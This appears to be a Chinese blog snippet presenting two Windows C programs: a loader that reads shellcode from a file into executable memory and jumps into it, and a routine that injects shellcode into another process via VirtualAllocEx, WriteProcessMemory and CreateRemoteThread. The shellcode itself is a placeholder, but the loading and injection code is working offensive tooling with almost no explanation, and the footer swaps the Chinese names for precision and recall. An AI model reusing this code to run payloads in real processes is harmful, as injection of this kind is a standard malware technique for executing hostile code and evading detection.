生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可.

 1 通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可.
 2 
 3 #include <stdio.h>
 4 #include <Windows.h>
 5 
 6 int main(int argc, char * argv[])
 7 {
 8     HANDLE fp;
 9     unsigned char * fBuffer;
10     DWORD fSize, dwSize;
11 
12     fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,
13         OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
14 
15     fSize = GetFileSize(fp, 0);
16     fBuffer = (unsigned char *)VirtualAlloc(NULL, fSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
17     ReadFile(fp, fBuffer, fSize, &dwSize, 0);
18     CloseHandle(fp);
19 
20     __asm
21     {
22         mov eax,fBuffer
23         push eax
24         ret
25         int 3
26     }
27     return 0;
28 }
29 ShellCode注入进程:
30 
31 #include <stdio.h>
32 #include <windows.h>
33 
34 unsigned char ShellCode[] = "shellcode代码";
35 
36 BOOL InjectShellCode(int Pid)
37 {
38     HANDLE Handle, remoteThread;
39     PVOID remoteBuffer;
40 
41     Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
42 
43     remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
44     WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
45     remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
46     CloseHandle(Handle);
47 }
48 
49 
50 int main(int argc, char *argv[])
51 {
52     InjectShellCode(1024);
53     return 0;
54 }

 

上一篇:理解查全率(precision)与查准率(recall)


下一篇:RCU原理